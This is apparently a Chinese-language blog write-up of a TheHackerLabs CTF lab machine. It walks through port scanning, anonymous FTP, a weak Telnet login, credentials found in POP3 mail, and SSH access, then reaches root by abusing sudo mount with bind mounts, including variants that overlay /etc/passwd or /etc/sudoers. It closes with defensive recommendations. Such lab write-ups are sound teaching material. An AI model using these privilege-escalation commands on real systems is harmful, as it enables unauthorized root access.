TheHackerLabs_Hackeando-al-Hacker_Writeup 的文章封面
返回文章列表
Neuroblue writing

TheHackerLabs_Hackeando-al-Hacker_Writeup

FTP匿名 → Telnet弱口令 → POP3邮件 → SSH横向 → mount -o bind 提权

image-20260621124226711

信息收集

端口扫描

nmap -sT -p- --min-rate=10000 192.168.43.232
Nmap scan report for shadowroot (192.168.43.232)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
995/tcp  open  pop3s
2121/tcp open  ccproxy-ftp
2222/tcp open  EtherNetIP-1
2323/tcp open  3d-nfsd
MAC Address: 08:00:27:2D:4B:C9 (Oracle VirtualBox virtual NIC)

服务版本探测

nmap -sV -sC -p 22,80,995,2121,2222,2323 192.168.43.232
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_  256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp   open  http     Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Apache2 Debian Default Page: It works
995/tcp  open  ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
|_pop3-capabilities: RESP-CODES PIPELINING USER UIDL TOP SASL(PLAIN)
2121/tcp open  ftp      vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.43.124
|      Logged in as ftp
|      TYPE: ASCII
| vsFTPd 3.0.3 - secure, fast, stable
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0            4096 Feb 02 02:48 pub
2222/tcp open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_  256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
2323/tcp open  telnet   Linux telnetd

Web 目录探测

feroxbuster -u http://192.168.43.232 -w ~/dic/common.txt --filter-status 404
200      GET      368l      933w    10701c http://192.168.43.232/
200      GET       25l      127w    10359c http://192.168.43.232/icons/openlogo-75.png
200      GET      368l      933w    10701c http://192.168.43.232/index.html

仅 Apache 默认页面,无隐藏目录。

漏洞利用

FTP 匿名登录 — 2121/tcp

ftp 192.168.43.232 2121
> anonymous
> [空密码]
230 Login successful.
ftp> ls
229 Entering Extended Passive Mode (|||48714|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Feb 02 02:48 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||40464|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0           85359 Feb 02 02:38 Boleto.jpg
-rw-r--r--    1 0        0             320 Jan 30 17:58 Manifiesto_0.txt
-rw-r--r--    1 0        0          294586 Jan 30 18:51 postal_caribe.jpg
-rw-r--r--    1 0        0              58 Jan 30 18:00 postal_caribe.txt
226 Directory send OK.

情报文件

Manifiesto_0.txt — Phantom 自白:

Como white-hat, securizaba fortalezas ajenas... pero vi las grietas en el sistema.
Las corporaciones pagan por proteccion, pero el mundo real se desmorona bajo deudas y control.
Cuanto mas puedo seguir ayudando al enemigo?
Un paraiso lejano me espera... quizas ya estoy alli.
- Phantom

postal_caribe.txt

Postal del Caribe - Un sueno de escape... o una pista?

两张 jpg 可能含隐写

image-20260621124217091 strings 查看

Telnet 登录 — 2323/tcp

telnet 192.168.43.232 2323
shadowroot nombre: phantom
Contrasena: shadow321

Linux shadowroot 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64
Has entrado al lair de Phantom.
Si no eres yo, ya estas muerto digitalmente...
Pero bienvenido, cazador... cuanto duraras?
- Phantom
Ultimo inicio de sesion: vie ene 30 19:04:26 CET 2026 de 192.168.100.167 en pts/1
Tiene correo nuevo.

Bienvenido de nuevo, intruso... o deberia decir cazador?
Phantom sabe que estas aqui. Buscas el camino verdadero?
Usa esto... pero recuerda: todo es un juego.

Conectando al servidor de correo oculto... (POP3 localhost:110)
Usuario: phantom
Pass: shadow321 (la misma que usaste aqui)

El servidor de correo te espera... demuestra que vales la pena.

POP3 邮件读取 — localhost:110

USER phantom
+OK
PASS shadow321
+OK Logged in.
LIST
+OK 2 messages:
1 1881
2 306
.
RETR 1

邮件 1(投递失败回执,内嵌 SSH 凭据):

From: Phantom <phantom@local>
Subject: Credenciales SSH - No las compartas, novato

Usuario: phantom_ssh
Contrasena: ThL_sh@d0w2026!

Conecta a SSH puerto 2222 con estas... pero es el camino real?
No tardes, el tiempo corre... y yo ya estoy en el Caribe.
- Phantom
RETR 2

邮件 #2 含相同凭据,确认无误。

横向移动

SSH 登录 — 2222/tcp

sshpass -p 'ThL_sh@d0w2026!' ssh -o StrictHostKeyChecking=no -p 2222 phantom_ssh@192.168.43.232
uid=1002(phantom_ssh) gid=1002(phantom_ssh) grupos=1002(phantom_ssh)

LD_PRELOAD 干扰

每条命令执行前出现:

ERROR: ld.so: object '/tmp/malicious.so' from LD_PRELOAD cannot be preloaded
(cannot open shared object file): ignored.

分析:Phantom 在 ~/.bashrc 写入 export LD_PRELOAD=/tmp/malicious.so/tmp/malicious.so 文件从未存在——这是纯粹的恶作剧,不构成实际威胁。

处理

# 临时屏蔽
unset LD_PRELOAD

# 永久清除
sed -i '/LD_PRELOAD/d' ~/.bashrc

每次新 SSH 会话自动执行 .bashrc,因此 unset 需每次重做。

User Flag

cat ~/THL_USER.txt
THL_USER{PhantomWelcomesYou}

El senuelo mordio. Que comience el laberinto.
Pero recuerda: todo lo que ves es calculado.

权限提升

sudo 枚举

sudo -l
Matching Defaults entries for phantom_ssh on shadowroot:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,
    use_pty

User phantom_ssh may run the following commands on shadowroot:
    (ALL) NOPASSWD: /usr/sbin/cryptsetup, /bin/mount, /bin/umount, /usr/bin/mkdir

mount -o bind 提权(采用)

sudo mount -o bind /bin/sh /bin/mount
sudo mount
# → root shell

原理

  1. mount -o bind/bin/sh 的内容镜像到 /bin/mount,覆盖原 mount 二进制
  2. sudo mount 以 root 执行 /bin/mount,但此时它已是 shell
  3. 不修改任何系统文件,用完还原即可

备选方案

# 方案B:覆写 /etc/passwd
cp /etc/passwd /tmp/passwd
echo "newroot::0:0:root:/root:/bin/bash" >> /tmp/passwd
sudo mount --bind /tmp/passwd /etc/passwd
su newroot

# 方案C:覆写 /etc/sudoers
cp /etc/sudoers /tmp/sudoers
echo "phantom_ssh ALL=(ALL:ALL) NOPASSWD: ALL" >> /tmp/sudoers
sudo mount --bind /tmp/sudoers /etc/sudoers
sudo su -

LUKS 路径尝试(未成功)

dd if=/dev/zero of=/tmp/exploit.img bs=1M count=10
# 10+0 records in, 10485760 bytes copied

sudo /usr/sbin/cryptsetup luksFormat /tmp/exploit.img
# ATENCION! Esto sobreescribira los datos...
# Esta seguro? (Teclee 'yes' en mayusculas): YES
# → 格式化成功,设密码 exploit

sudo /usr/sbin/cryptsetup luksOpen /tmp/exploit.img myexploit
# → 容器打开成功

sudo /sbin/mkfs.ext4 /dev/mapper/myexploit
# Sorry, user phantom_ssh is not allowed to execute
# '/sbin/mkfs.ext4' as root on shadowroot.
# → mkfs 不在 sudoers,此路不通

事后清理

sudo umount /bin/mount

攻击链总结

flowchart TD
    A["🔓 FTP 匿名登录<br/>2121/tcp"] --> B["情报文件下载<br/>Manifiesto / postal_caribe"]
    C["🔑 Telnet 弱口令<br/>2323/tcp<br/>phantom:shadow321"] --> D["POP3 邮件读取<br/>localhost:110"]
    D --> E["SSH 凭据泄露<br/>phantom_ssh<br/>ThL_sh@d0w2026!"]
    E --> F["SSH 登录<br/>2222/tcp"]
    F --> G["🏁 User Flag<br/>THL_USER{...}"]
    F --> H["sudo -l 枚举<br/>mount NOPASSWD"]
    H --> I["mount -o bind 提权<br/>/bin/sh → /bin/mount"]
    I --> J["⚡ Root Shell"]

漏洞清单

编号漏洞严重利用
V-01vsftpd 3.0.3 匿名登录信息公开
V-02Telnet 明文 + 弱口令 phantom:shadow321初始立足
V-03POP3 localhost 凭据复用横向移动
V-04/bin/mount NOPASSWD + bind 选项严重权限提升

防御建议

  1. /etc/vsftpd.confanonymous_enable=NO,或 chroot 限制
  2. systemctl disable --now telnet,仅用 SSH
  3. POP3 凭据不邮件明文传输;不同服务使用不同密码
  4. sudoers 收紧:/bin/mount 限定 -t ext4 -o ro 等白名单参数;NOPASSWD 移除
  5. 清理生产环境中 .bashrc 恶作剧代码

技巧沉淀

  • Telnet → POP3 链式利用:一个弱口令引向更高级凭据
  • mount -o bind 覆盖自身二进制:白名单提权最干净向量之一
  • LUKS 路径mkfs 可用时是一个备选链
  • LD_PRELOAD 恶作剧:不影响功能,但干扰心理,需识别并清除
  • FTP 匿名 + SSH 多端口暴露 = 凭据泄露风险倍增

“Si no eres yo, ya estas muerto digitalmente…” — Phantom